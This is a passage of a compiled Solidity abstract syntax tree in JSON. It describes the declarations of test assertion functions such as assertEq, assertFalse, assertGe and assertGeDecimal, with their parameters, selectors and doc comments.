tateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13910,"name":"bytes","nodeType":"ElementaryTypeName","src":"47366:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13911,"nodeType":"ArrayTypeName","src":"47366:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"},{"constant":false,"id":13914,"mutability":"mutable","name":"error","nameLocation":"47406:5:13","nodeType":"VariableDeclaration","scope":13917,"src":"47390:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13913,"name":"string","nodeType":"ElementaryTypeName","src":"47390:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47342:70:13"},"returnParameters":{"id":13916,"nodeType":"ParameterList","parameters":[],"src":"47426:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13927,"nodeType":"FunctionDefinition","src":"47543:84:13","nodes":[],"documentation":{"id":13918,"nodeType":"StructuredDocumentation","src":"47433:105:13","text":"Asserts that two `uint256` values are equal and includes error message into revert string on failure."},"functionSelector":"88b44c85","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47552:8:13","parameters":{"id":13925,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13920,"mutability":"mutable","name":"left","nameLocation":"47569:4:13","nodeType":"VariableDeclaration","scope":13927,"src":"47561:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13919,"name":"uint256","nodeType":"ElementaryTypeName","src":"47561:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13922,"mutability":"mutable","name":"right","nameLocation":"47583:5:13","nodeType":"VariableDeclaration","scope":13927,"src":"47575:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13921,"name":"uint256","nodeType":"ElementaryTypeName","src":"47575:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":13924,"mutability":"mutable","name":"error","nameLocation":"47606:5:13","nodeType":"VariableDeclaration","scope":13927,"src":"47590:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13923,"name":"string","nodeType":"ElementaryTypeName","src":"47590:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47560:52:13"},"returnParameters":{"id":13926,"nodeType":"ParameterList","parameters":[],"src":"47626:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13935,"nodeType":"FunctionDefinition","src":"47685:59:13","nodes":[],"documentation":{"id":13928,"nodeType":"StructuredDocumentation","src":"47633:47:13","text":"Asserts that two `int256` values are equal."},"functionSelector":"fe74f05b","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47694:8:13","parameters":{"id":13933,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13930,"mutability":"mutable","name":"left","nameLocation":"47710:4:13","nodeType":"VariableDeclaration","scope":13935,"src":"47703:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13929,"name":"int256","nodeType":"ElementaryTypeName","src":"47703:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13932,"mutability":"mutable","name":"right","nameLocation":"47723:5:13","nodeType":"VariableDeclaration","scope":13935,"src":"47716:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13931,"name":"int256","nodeType":"ElementaryTypeName","src":"47716:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"47702:27:13"},"returnParameters":{"id":13934,"nodeType":"ParameterList","parameters":[],"src":"47743:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13945,"nodeType":"FunctionDefinition","src":"47859:82:13","nodes":[],"documentation":{"id":13936,"nodeType":"StructuredDocumentation","src":"47750:104:13","text":"Asserts that two `int256` values are equal and includes error message into revert string on failure."},"functionSelector":"714a2f13","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"47868:8:13","parameters":{"id":13943,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13938,"mutability":"mutable","name":"left","nameLocation":"47884:4:13","nodeType":"VariableDeclaration","scope":13945,"src":"47877:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13937,"name":"int256","nodeType":"ElementaryTypeName","src":"47877:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13940,"mutability":"mutable","name":"right","nameLocation":"47897:5:13","nodeType":"VariableDeclaration","scope":13945,"src":"47890:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13939,"name":"int256","nodeType":"ElementaryTypeName","src":"47890:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":13942,"mutability":"mutable","name":"error","nameLocation":"47920:5:13","nodeType":"VariableDeclaration","scope":13945,"src":"47904:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13941,"name":"string","nodeType":"ElementaryTypeName","src":"47904:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47876:50:13"},"returnParameters":{"id":13944,"nodeType":"ParameterList","parameters":[],"src":"47940:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13953,"nodeType":"FunctionDefinition","src":"48000:61:13","nodes":[],"documentation":{"id":13946,"nodeType":"StructuredDocumentation","src":"47947:48:13","text":"Asserts that two `address` values are equal."},"functionSelector":"515361f6","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48009:8:13","parameters":{"id":13951,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13948,"mutability":"mutable","name":"left","nameLocation":"48026:4:13","nodeType":"VariableDeclaration","scope":13953,"src":"48018:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13947,"name":"address","nodeType":"ElementaryTypeName","src":"48018:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":13950,"mutability":"mutable","name":"right","nameLocation":"48040:5:13","nodeType":"VariableDeclaration","scope":13953,"src":"48032:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13949,"name":"address","nodeType":"ElementaryTypeName","src":"48032:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"48017:29:13"},"returnParameters":{"id":13952,"nodeType":"ParameterList","parameters":[],"src":"48060:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13963,"nodeType":"FunctionDefinition","src":"48177:84:13","nodes":[],"documentation":{"id":13954,"nodeType":"StructuredDocumentation","src":"48067:105:13","text":"Asserts that two `address` values are equal and includes error message into revert string on failure."},"functionSelector":"2f2769d1","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48186:8:13","parameters":{"id":13961,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13956,"mutability":"mutable","name":"left","nameLocation":"48203:4:13","nodeType":"VariableDeclaration","scope":13963,"src":"48195:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13955,"name":"address","nodeType":"ElementaryTypeName","src":"48195:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":13958,"mutability":"mutable","name":"right","nameLocation":"48217:5:13","nodeType":"VariableDeclaration","scope":13963,"src":"48209:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13957,"name":"address","nodeType":"ElementaryTypeName","src":"48209:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":13960,"mutability":"mutable","name":"error","nameLocation":"48240:5:13","nodeType":"VariableDeclaration","scope":13963,"src":"48224:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13959,"name":"string","nodeType":"ElementaryTypeName","src":"48224:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48194:52:13"},"returnParameters":{"id":13962,"nodeType":"ParameterList","parameters":[],"src":"48260:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13971,"nodeType":"FunctionDefinition","src":"48320:61:13","nodes":[],"documentation":{"id":13964,"nodeType":"StructuredDocumentation","src":"48267:48:13","text":"Asserts that two `bytes32` values are equal."},"functionSelector":"7c84c69b","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48329:8:13","parameters":{"id":13969,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13966,"mutability":"mutable","name":"left","nameLocation":"48346:4:13","nodeType":"VariableDeclaration","scope":13971,"src":"48338:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13965,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48338:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":13968,"mutability":"mutable","name":"right","nameLocation":"48360:5:13","nodeType":"VariableDeclaration","scope":13971,"src":"48352:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13967,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48352:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"48337:29:13"},"returnParameters":{"id":13970,"nodeType":"ParameterList","parameters":[],"src":"48380:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13981,"nodeType":"FunctionDefinition","src":"48497:84:13","nodes":[],"documentation":{"id":13972,"nodeType":"StructuredDocumentation","src":"48387:105:13","text":"Asserts that two `bytes32` values are equal and includes error message into revert string on failure."},"functionSelector":"c1fa1ed0","implemented":false,"kind":"function","modifiers":[],"name":"assertEq","nameLocation":"48506:8:13","parameters":{"id":13979,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13974,"mutability":"mutable","name":"left","nameLocation":"48523:4:13","nodeType":"VariableDeclaration","scope":13981,"src":"48515:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13973,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48515:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":13976,"mutability":"mutable","name":"right","nameLocation":"48537:5:13","nodeType":"VariableDeclaration","scope":13981,"src":"48529:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":13975,"name":"bytes32","nodeType":"ElementaryTypeName","src":"48529:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":13978,"mutability":"mutable","name":"error","nameLocation":"48560:5:13","nodeType":"VariableDeclaration","scope":13981,"src":"48544:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13977,"name":"string","nodeType":"ElementaryTypeName","src":"48544:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48514:52:13"},"returnParameters":{"id":13980,"nodeType":"ParameterList","parameters":[],"src":"48580:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13987,"nodeType":"FunctionDefinition","src":"48638:51:13","nodes":[],"documentation":{"id":13982,"nodeType":"StructuredDocumentation","src":"48587:46:13","text":"Asserts that the given condition is false."},"functionSelector":"a5982885","implemented":false,"kind":"function","modifiers":[],"name":"assertFalse","nameLocation":"48647:11:13","parameters":{"id":13985,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13984,"mutability":"mutable","name":"condition","nameLocation":"48664:9:13","nodeType":"VariableDeclaration","scope":13987,"src":"48659:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13983,"name":"bool","nodeType":"ElementaryTypeName","src":"48659:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"48658:16:13"},"returnParameters":{"id":13986,"nodeType":"ParameterList","parameters":[],"src":"48688:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13995,"nodeType":"FunctionDefinition","src":"48803:74:13","nodes":[],"documentation":{"id":13988,"nodeType":"StructuredDocumentation","src":"48695:103:13","text":"Asserts that the given condition is false and includes error message into revert string on failure."},"functionSelector":"7ba04809","implemented":false,"kind":"function","modifiers":[],"name":"assertFalse","nameLocation":"48812:11:13","parameters":{"id":13993,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13990,"mutability":"mutable","name":"condition","nameLocation":"48829:9:13","nodeType":"VariableDeclaration","scope":13995,"src":"48824:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":13989,"name":"bool","nodeType":"ElementaryTypeName","src":"48824:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":13992,"mutability":"mutable","name":"error","nameLocation":"48856:5:13","nodeType":"VariableDeclaration","scope":13995,"src":"48840:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13991,"name":"string","nodeType":"ElementaryTypeName","src":"48840:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"48823:39:13"},"returnParameters":{"id":13994,"nodeType":"ParameterList","parameters":[],"src":"48876:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14005,"nodeType":"FunctionDefinition","src":"49038:86:13","nodes":[],"documentation":{"id":13996,"nodeType":"StructuredDocumentation","src":"48883:150:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"3d1fe08a","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49047:15:13","parameters":{"id":14003,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13998,"mutability":"mutable","name":"left","nameLocation":"49071:4:13","nodeType":"VariableDeclaration","scope":14005,"src":"49063:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13997,"name":"uint256","nodeType":"ElementaryTypeName","src":"49063:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14000,"mutability":"mutable","name":"right","nameLocation":"49085:5:13","nodeType":"VariableDeclaration","scope":14005,"src":"49077:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13999,"name":"uint256","nodeType":"ElementaryTypeName","src":"49077:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14002,"mutability":"mutable","name":"decimals","nameLocation":"49100:8:13","nodeType":"VariableDeclaration","scope":14005,"src":"49092:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14001,"name":"uint256","nodeType":"ElementaryTypeName","src":"49092:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49062:47:13"},"returnParameters":{"id":14004,"nodeType":"ParameterList","parameters":[],"src":"49123:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14017,"nodeType":"FunctionDefinition","src":"49339:109:13","nodes":[],"documentation":{"id":14006,"nodeType":"StructuredDocumentation","src":"49130:204:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"8bff9133","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49348:15:13","parameters":{"id":14015,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14008,"mutability":"mutable","name":"left","nameLocation":"49372:4:13","nodeType":"VariableDeclaration","scope":14017,"src":"49364:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14007,"name":"uint256","nodeType":"ElementaryTypeName","src":"49364:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14010,"mutability":"mutable","name":"right","nameLocation":"49386:5:13","nodeType":"VariableDeclaration","scope":14017,"src":"49378:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14009,"name":"uint256","nodeType":"ElementaryTypeName","src":"49378:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14012,"mutability":"mutable","name":"decimals","nameLocation":"49401:8:13","nodeType":"VariableDeclaration","scope":14017,"src":"49393:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14011,"name":"uint256","nodeType":"ElementaryTypeName","src":"49393:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14014,"mutability":"mutable","name":"error","nameLocation":"49427:5:13","nodeType":"VariableDeclaration","scope":14017,"src":"49411:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14013,"name":"string","nodeType":"ElementaryTypeName","src":"49411:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"49363:70:13"},"returnParameters":{"id":14016,"nodeType":"ParameterList","parameters":[],"src":"49447:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14027,"nodeType":"FunctionDefinition","src":"49608:84:13","nodes":[],"documentation":{"id":14018,"nodeType":"StructuredDocumentation","src":"49454:149:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message."},"functionSelector":"dc28c0f1","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49617:15:13","parameters":{"id":14025,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14020,"mutability":"mutable","name":"left","nameLocation":"49640:4:13","nodeType":"VariableDeclaration","scope":14027,"src":"49633:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14019,"name":"int256","nodeType":"ElementaryTypeName","src":"49633:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14022,"mutability":"mutable","name":"right","nameLocation":"49653:5:13","nodeType":"VariableDeclaration","scope":14027,"src":"49646:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14021,"name":"int256","nodeType":"ElementaryTypeName","src":"49646:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14024,"mutability":"mutable","name":"decimals","nameLocation":"49668:8:13","nodeType":"VariableDeclaration","scope":14027,"src":"49660:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14023,"name":"uint256","nodeType":"ElementaryTypeName","src":"49660:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"49632:45:13"},"returnParameters":{"id":14026,"nodeType":"ParameterList","parameters":[],"src":"49691:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14039,"nodeType":"FunctionDefinition","src":"49906:107:13","nodes":[],"documentation":{"id":14028,"nodeType":"StructuredDocumentation","src":"49698:203:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second.\n Formats values with decimals in failure message. Includes error message into revert string on failure."},"functionSelector":"5df93c9b","implemented":false,"kind":"function","modifiers":[],"name":"assertGeDecimal","nameLocation":"49915:15:13","parameters":{"id":14037,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14030,"mutability":"mutable","name":"left","nameLocation":"49938:4:13","nodeType":"VariableDeclaration","scope":14039,"src":"49931:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14029,"name":"int256","nodeType":"ElementaryTypeName","src":"49931:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14032,"mutability":"mutable","name":"right","nameLocation":"49951:5:13","nodeType":"VariableDeclaration","scope":14039,"src":"49944:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14031,"name":"int256","nodeType":"ElementaryTypeName","src":"49944:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14034,"mutability":"mutable","name":"decimals","nameLocation":"49966:8:13","nodeType":"VariableDeclaration","scope":14039,"src":"49958:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14033,"name":"uint256","nodeType":"ElementaryTypeName","src":"49958:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14036,"mutability":"mutable","name":"error","nameLocation":"49992:5:13","nodeType":"VariableDeclaration","scope":14039,"src":"49976:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14035,"name":"string","nodeType":"ElementaryTypeName","src":"49976:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"49930:68:13"},"returnParameters":{"id":14038,"nodeType":"ParameterList","parameters":[],"src":"50012:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14047,"nodeType":"FunctionDefinition","src":"50117:61:13","nodes":[],"documentation":{"id":14040,"nodeType":"StructuredDocumentation","src":"50019:93:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second."},"functionSelector":"a8d4d1d9","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50126:8:13","parameters":{"id":14045,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14042,"mutability":"mutable","name":"left","nameLocation":"50143:4:13","nodeType":"VariableDeclaration","scope":14047,"src":"50135:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14041,"name":"uint256","nodeType":"ElementaryTypeName","src":"50135:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14044,"mutability":"mutable","name":"right","nameLocation":"50157:5:13","nodeType":"VariableDeclaration","scope":14047,"src":"50149:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14043,"name":"uint256","nodeType":"ElementaryTypeName","src":"50149:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"50134:29:13"},"returnParameters":{"id":14046,"nodeType":"ParameterList","parameters":[],"src":"50177:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14057,"nodeType":"FunctionDefinition","src":"50344:84:13","nodes":[],"documentation":{"id":14048,"nodeType":"StructuredDocumentation","src":"50184:155:13","text":"Compares two `uint256` values. Expects first value to be greater than or equal to second.\n Includes error message into revert string on failure."},"functionSelector":"e25242c0","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50353:8:13","parameters":{"id":14055,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14050,"mutability":"mutable","name":"left","nameLocation":"50370:4:13","nodeType":"VariableDeclaration","scope":14057,"src":"50362:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14049,"name":"uint256","nodeType":"ElementaryTypeName","src":"50362:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14052,"mutability":"mutable","name":"right","nameLocation":"50384:5:13","nodeType":"VariableDeclaration","scope":14057,"src":"50376:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14051,"name":"uint256","nodeType":"ElementaryTypeName","src":"50376:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":14054,"mutability":"mutable","name":"error","nameLocation":"50407:5:13","nodeType":"VariableDeclaration","scope":14057,"src":"50391:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14053,"name":"string","nodeType":"ElementaryTypeName","src":"50391:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"50361:52:13"},"returnParameters":{"id":14056,"nodeType":"ParameterList","parameters":[],"src":"50427:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14065,"nodeType":"FunctionDefinition","src":"50531:59:13","nodes":[],"documentation":{"id":14058,"nodeType":"StructuredDocumentation","src":"50434:92:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second."},"functionSelector":"0a30b771","implemented":false,"kind":"function","modifiers":[],"name":"assertGe","nameLocation":"50540:8:13","parameters":{"id":14063,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14060,"mutability":"mutable","name":"left","nameLocation":"50556:4:13","nodeType":"VariableDeclaration","scope":14065,"src":"50549:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14059,"name":"int256","nodeType":"ElementaryTypeName","src":"50549:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"},{"constant":false,"id":14062,"mutability":"mutable","name":"right","nameLocation":"50569:5:13","nodeType":"VariableDeclaration","scope":14065,"src":"50562:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14061,"name":"int256","nodeType":"ElementaryTypeName","src":"50562:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"50548:27:13"},"returnParameters":{"id":14064,"nodeType":"ParameterList","parameters":[],"src":"50589:0:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14075,"nodeType":"FunctionDefinition","src":"50755:82:13","nodes":[],"documentation":{"id":14066,"nodeType":"StructuredDocumentation","src":"50596:154:13","text":"Compares two `int256` values. Expects first value to be greater than or equal to second.\n Includes error message into revert string on 